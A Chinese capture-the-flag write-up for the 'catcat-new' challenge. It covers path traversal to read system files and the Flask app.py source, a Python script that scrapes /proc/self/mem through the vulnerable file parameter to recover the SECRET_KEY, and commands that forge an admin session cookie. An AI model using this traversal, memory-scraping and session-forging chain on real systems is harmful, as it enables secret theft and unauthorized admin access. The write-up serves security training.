catcat-new

题目来源

攻防世界  NO.GFSJ1168

题解

dirsearch爆破目录,得到http://61.147.171.105:55027/admin,没有有用信息

点开主页的图片,观察URL,尝试读取/etc/passwd,成功,可以读取文件

读取/proc/self/cmdline文件,发现有app.py

/proc/self/cmdline 是一个特殊的文件,它提供了当前进程的命令行参数。例如在kali的shell中读取该文件,则会返回 “zsh"

在上一级路径中读取到app.py

将bytes转换为字符串以便于阅读,得到以下代码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag") @app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo" if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

通过源码可以看到,我们需要伪造session,让session里admin的值为1,即可访问/admin,拿到flag。要伪造session,我们需要拿到SECRET_KEY,而SECRET_KEY可以从内存数据中获取。

/proc/self/mem中存储着当前进程在内存中的数据,但是该文件无法直接读取,我们需要先通过/proc/self/maps文件得到内存映射地址,然后读取内存数据文件/proc/self/mem

将读到的maps中的数据保存到test.txt文件中,接下来使用脚本进行mem数据的读取。

以下脚本是网上找到的,我只是添加了一些注释

import re
import requests maps=open('test.txt') #test.txt存储/proc/self/maps的内容
b = maps.read()
list = b.split('\\n') #以换行符分行
for line in list:
if 'rw' in line: #寻找可读写的内存区域
addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
#正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
#由于每一行会有两个地址,表示一个内存区域,因此addr会有group(1)和group(2)
start = int(addr.group(1),16) #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
end = int(addr.group(2),16) #将十六进制字符转化为十进制数,为了符合end参数格式
#这里start和end参数是python读取/proc/self/mem需要用到的参数
print(start,end)
url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
#使用start和end参数读取mem
response = requests.get(url)
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text) #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),*abcdefgh为题目源码生成uuid后添加的字符串
if secret_key:
print(secret_key)
break

app.py中可以看到info路由中除了file参数,还有startend参数,这两个参数就是用来传递读取mem数据时内存区域对应的地址。

运行脚本得到secret_key:8fe482ecf92b4639801ca7312cf5f73a*abcdefgh

使用工具flask_session_cookie_manager伪造session。项目地址:https://github.com/noraj/flask-session-cookie-manager

伪造ssesion需要一个正确的session,将其解密,更改数据后再进行加密

解密

python flask_session_cookie_manager3.py decode -s "secret_key" -c "session"

加密

python flask_session_cookie_manager3.py encode -s "secret_key" -t "data"

获取session值:eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0

伪造session,根据app.py将数据中admin的值改为1

接下来使用伪造的session代替原来的session,访问路由admin,得到flag

【攻防世界】catcat-new的更多相关文章

  1. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  2. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  3. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  4. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  5. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  6. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  7. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

  8. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  9. CTF -攻防世界-crypto新手区(5~11)

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

  10. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

随机推荐

  1. Redis应用—4.在库存里的应用

    大纲 1.库存模块设计 2.库存缓存分片和渐进式同步方案 3.基于缓存分片的下单库存扣减方案 4.商品库存设置流程与异步落库的实现 6.库存入库时"缓存分片写入 + 渐进式写入 + 写入失败 ...

  2. jenkins异常 -- active (exited),无法启动

    一.问题描述 1.无法启动 systemctl start jenkins 没有反应,没有输出报错 2.查询状态 systemctl status jenkins 3.jenkins拒绝访问 二.解决 ...

  3. arm mattermost

    It's not so hard, here is my working steps for arm64 device. cd ~/build/mattermost wget https://raw. ...

  4. Qt音视频开发30-qmedia内核qt4方案phonon播放(支持视频流)

    一.前言 在Qt4中如果需要播放视频,一般用phonon多媒体框架,这应该就是Qt5/Qt6中多媒体框架的前身(查阅qmultimedia模块的相关代码可以发现架构几乎雷同,除了部分命名变了以外),p ...

  5. Qt编写安防视频监控系统19-日志查询

    一.前言 日志查询功能是基础功能,主要分两块,一个是本地日志查询,包括运行日志.报警日志.操作日志:一个是设备日志查询,就是通过SDK去拉去NVR设备的日志信息,包括系统操作.配置操作.报警操作.录像 ...

  6. Qt编写可视化大屏电子看板系统19-横向柱状图

    一.前言 横向柱状图的绘制这玩意当初还着实花费了一些时间,因为从v1版本开始,默认XY坐标轴是没有交换位置的处理的,也只有垂直的柱状图,要想换成横向的柱状图必须是自己拿到数据重新绘制,数据值的设置一般 ...

  7. Qt编写地图综合应用25-echart动态交互

    一.前言 之前用echart组件做过各种效果,随着各种现场应用现场项目的增多,各种需求也都慢慢增加起来,为了满足各种不同类型的需求,近期又抽空重新整理和封装了echart类,主要就是增加了不少的js函 ...

  8. 这是我见过最通俗易懂的SVD(奇异值分解)算法介绍

    线性代数是机器学习领域的基础,其中一个最重要的概念是奇异值分解(SVD),本文尽可能简洁的介绍SVD(奇异值分解)算法的基础理解,以及它在现实世界中的应用. SVD是最广泛使用的无监督学习算法之一,它 ...

  9. WIN10删除文件时提示“找不到该项目,该项目不在......中,请确认该项目的位置,然后重试”的解决办法

    问题描述: 最近有部分WIN10用户在删除文件时提示"找不到该项目,该项目不在......中,请确认该项目的位置,然后重试". 解决办法: 1.首先新建一个TXT文档(为了方便使用 ...

  10. Qml 中实现水印工具

    [写在前面] 在 Qt 的 Quick 模块中,QQuickPaintedItem 是一个非常有用的类,它允许我们在 Qml 中自定义绘制逻辑. 我们可以通过这种方式实现水印工具,包括在文本.图片或整 ...